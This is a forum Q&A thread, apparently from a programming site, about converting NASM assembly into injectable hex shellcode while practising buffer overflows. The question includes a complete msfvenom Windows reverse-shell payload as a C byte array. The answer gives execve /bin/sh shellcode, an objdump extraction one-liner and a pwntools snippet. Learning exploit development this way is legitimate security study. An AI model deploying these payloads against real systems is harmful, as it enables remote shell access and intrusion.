how do i convert my assembly code to executable hex code?

Viewed 972

the thing is I'm training on the buffer overflow bug, and I got to the point where I just inject something into the memory, but the problem is that I have a very small space in the ESP to work with so I've made a simple "hello world" in assembly:

The Assembly code (simple hello world)

global _start
;;;;;64bit only
_start:
    jmp short string

code:
    pop rsi
    xor rax, rax
    mov al, 1
    mov rdi, rax
    mov rdx, rdi
    add rdx, 14
    syscall

    xor rax, rax
    add rax, 60
    xor rdi, rdi
    syscall

string:
    call code
    db  'Hello, world!',0x0A

this was written in Nasm

I first found this when generating a msfvenom payload, there is an option to specify the language of the shellcode(i specified C) then it generates the hex executable code which you can just inject into memory and simply run it.

The Hex Code (executable hex code for a reverse shell)

unsigned char buf[] = \xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x66\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5;

but when I tried to do that myself I found that I have to write the program in assembly then convert it to the hex executable code, which I was looking for a way to do it for a week but nothing.

What I've tried

I tried to convert the assembly instructions one by one then add the arguments (also converted to hex) which didn't work obviously.

-----

that assembly code seems to work with : ./nasm.exe -fwin64 shellcode.asm but not with : ./nasm.exe -fwin32 shellcode.asm

I think it's not compatible with 32bit.

and also when i execute: ./nasm.exe -felf64 shellcode.asm -o shellcode.o then : ld -s -o shellcode shellcode.o it sais unrecognized format of the file shellcode.o

1 Answers

I have learned this in the software security course. Since that was over a year ago, it is a little bit hard for me to remember all the details. I will focus on the main points.

Let's write simple assembly code first.

GLOBAL _start
_start:
    xor rdx, rdx                ;use xor edx,edx to save 1 byte
    push rdx
    mov rax, 0x68732f2f6e69622f ;The result of '/bin//sh' in reverse byte order
    push rax                    ;push '/bin//sh' into stack
    mov rdi, rsp                ;Get the address of '/bin//sh' from rsp and put it into rdi
    push rdx 
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 0x3b
    syscall

Use nasm to compile and Run the shellcode.

nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode               
./shellcode

Use objdump to get the hex output. You can use compiler explorer as well.

objdump -d shellcode

You can get shellcode directly by filtering irrelevant output by using instructions below.

objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

This is the output.

"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"

According to comments, Linux commands listed below also works after adding bits 64 to the assembly code.

xxd -ps shellcode |  sed 's/../\\x\0/g'

Besides, if you are a CTF tyro, you can use pwntools. It is much more convenient.

from pwn import *
context(arch = 'amd64', os = 'linux',log_level = 'debug')
shellcode=asm(shellcraft.amd64.linux.sh())
print(shellcode)

You can also use cobaltstrike and msfvenom.

Related